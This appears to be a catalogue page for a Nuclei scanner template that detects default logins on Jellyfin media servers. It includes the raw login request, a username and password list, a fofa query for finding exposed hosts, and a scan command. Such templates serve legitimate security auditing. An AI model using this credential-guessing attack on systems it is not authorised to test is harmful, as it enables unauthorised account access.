Jellyfin Console - Default Login

ID: jellyfin-default-login

Severity: high

Author: thefoggiest

Tags: default-login,jellyfin,misconfig

Description

Weak Jellyfin credentials were discovered.

YAML Source

id: jellyfin-default-login

info:
  name: Jellyfin Console - Default Login
  author: thefoggiest
  severity: high
  description: Weak Jellyfin credentials were discovered.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    fofa-query: title="Jellyfin"
    product: jellyfin
    vendor: jellyfin
  tags: default-login,jellyfin,misconfig

http:
  - raw:
      - |
        POST /Users/authenticatebyname HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Emby-Authorization: MediaBrowser Client="Jellyfin Web", Device="Browser", DeviceId="DeviceID", Version="Version"

        {"Username":"{{username}}","Pw":"{{password}}"}

    payloads:
      username:
        - admin
        - administrator
        - jellyfin
      password:
        - admin
        - test
        - password
        - jellyfin
    attack: clusterbomb

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'User":{"Name'
          - '"LastLoginDate":'
          - 'AccessToken":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a8d2d575006af837cf7e90e3a1679740e440078786619f7f4d04582a374dc2ed022073b92cc7b464a918a1a439883dcce4cb574ab4ec9f07d58cf96b432baa4c8916:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/jellyfin/jellyfin-default-login.yaml"

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